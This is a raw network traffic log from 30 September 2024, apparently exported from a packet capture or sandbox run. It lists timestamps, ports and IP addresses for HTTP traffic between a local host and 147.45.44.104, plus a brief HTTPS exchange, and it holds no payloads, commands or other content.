Sep 30, 2024 13:59:41.459930897 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459942102 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459952116 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459963083 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459973097 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.459979057 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460006952 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.460021973 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460041046 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.460041046 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.460041046 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.460087061 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.460139990 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460150957 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460155964 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460164070 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460169077 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460174084 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460180998 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460189104 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460195065 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460200071 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460263014 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460267067 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.460274935 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460288048 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460302114 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.460366011 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.460381985 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460395098 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460406065 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460416079 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460423946 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.460427046 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460438013 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460448980 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460460901 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460496902 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.460496902 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.460553885 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.460561037 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460572958 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460582972 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460593939 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460599899 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.460606098 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460617065 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460627079 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.460633039 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.460711956 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.460711956 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.557136059 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.557214022 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.557215929 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.557229042 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.557240963 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.557251930 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.557275057 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.557284117 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.557286024 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.557298899 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.557317019 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.557320118 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.557337046 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.557346106 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.557356119 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.557367086 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.557375908 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.557375908 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.557379007 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.557390928 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.557405949 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.557414055 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.557431936 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.557441950 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.557451010 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.557451963 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.557451963 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.557462931 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.557485104 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.557492018 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.557497978 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.557507992 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.557518959 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.557523966 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.557523966 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.557531118 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.557564020 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.557607889 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.558072090 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558084965 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558096886 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558141947 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.558173895 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.558182955 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558195114 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558211088 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558222055 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558232069 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558243036 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558259010 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558274031 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.558274031 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.558283091 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558296919 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558307886 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558319092 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558324099 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558334112 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.558334112 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.558412075 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.558412075 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.558613062 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558623075 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558643103 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558655977 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558665037 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.558665037 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.558667898 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558680058 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558691025 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.558733940 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.558733940 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.558739901 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558752060 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558763981 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558774948 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558794975 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.558794975 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.558820963 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.558855057 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558867931 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558881044 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558892012 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558903933 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558907032 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.558923960 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.558964014 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558974028 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558979034 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.558986902 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.558998108 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.559005976 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.559010029 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.559021950 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.559035063 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.559086084 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.559086084 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.559226036 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.559236050 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.559246063 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.559257030 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.559267044 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.559277058 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.559288025 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.559310913 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.559310913 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.559355021 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.559489965 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.559499979 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.559509039 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.559520006 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.559529066 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.559540987 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.559551001 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.559564114 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.559565067 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.559564114 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.559606075 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.559720039 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.559773922 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.559782982 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.559784889 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.559796095 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.559808016 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.559822083 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.559844017 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.559861898 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.559968948 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.559981108 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.559984922 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.559989929 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.559994936 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.559999943 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560004950 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560009956 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560014963 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560019970 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560030937 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560036898 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560122967 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.560122967 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.560349941 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560421944 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560432911 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560455084 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.560482025 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.560503006 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560520887 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560533047 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560544968 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560568094 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.560599089 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560610056 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560621023 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560631990 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560631990 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.560631990 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.560642958 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560655117 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560658932 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.560667992 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560703993 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.560703993 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.560715914 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560726881 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560736895 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560756922 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560767889 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560779095 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560798883 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.560798883 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.560798883 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.560800076 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.560844898 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.560920954 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560931921 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560942888 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560954094 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560964108 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560966969 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.560966969 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.560976982 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.560983896 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.560987949 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.561000109 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.561009884 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.561028004 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.561113119 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.561136961 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.561186075 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.630476952 CEST	443	49725	104.102.49.254	192.168.2.6
Sep 30, 2024 13:59:41.630505085 CEST	443	49725	104.102.49.254	192.168.2.6
Sep 30, 2024 13:59:41.630527973 CEST	443	49725	104.102.49.254	192.168.2.6
Sep 30, 2024 13:59:41.630553007 CEST	49725	443	192.168.2.6	104.102.49.254
Sep 30, 2024 13:59:41.630562067 CEST	443	49725	104.102.49.254	192.168.2.6
Sep 30, 2024 13:59:41.630619049 CEST	49725	443	192.168.2.6	104.102.49.254
Sep 30, 2024 13:59:41.645684958 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.645750999 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.645750999 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.645766020 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.645792961 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.645812035 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.645970106 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.646011114 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.646038055 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.646050930 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.646061897 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.646071911 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.646081924 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.646120071 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.646120071 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.646132946 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.646173954 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.646184921 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.646195889 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.646207094 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.646219015 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.646225929 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.646229029 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.646241903 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.646246910 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.646253109 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.646265030 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.646265984 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.646275997 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.646298885 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.646298885 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.646311045 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.646620989 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.646636963 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.646646976 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.646677017 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.646713018 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.646720886 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.646732092 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.646743059 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.646770954 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.646811008 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.646903992 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.646914959 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.646924973 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.646936893 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.646960020 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.646960020 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.646995068 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.647857904 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.647869110 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.647923946 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.647975922 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.648025990 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.648452997 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.648607969 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.648673058 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.648792982 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.648838997 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.649327040 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.649471998 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.650094032 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.650105953 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.650115967 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.650125980 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.650135994 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.650141001 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.650146008 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.650151968 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.650156975 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.650156975 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.650167942 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.650167942 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.650181055 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.650192022 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.650207043 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.650226116 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.650235891 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.650280952 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.650604963 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.650615931 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.650626898 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.650638103 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.650649071 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.650649071 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.650666952 CEST	80	49723	147.45.44.104	192.168.2.6
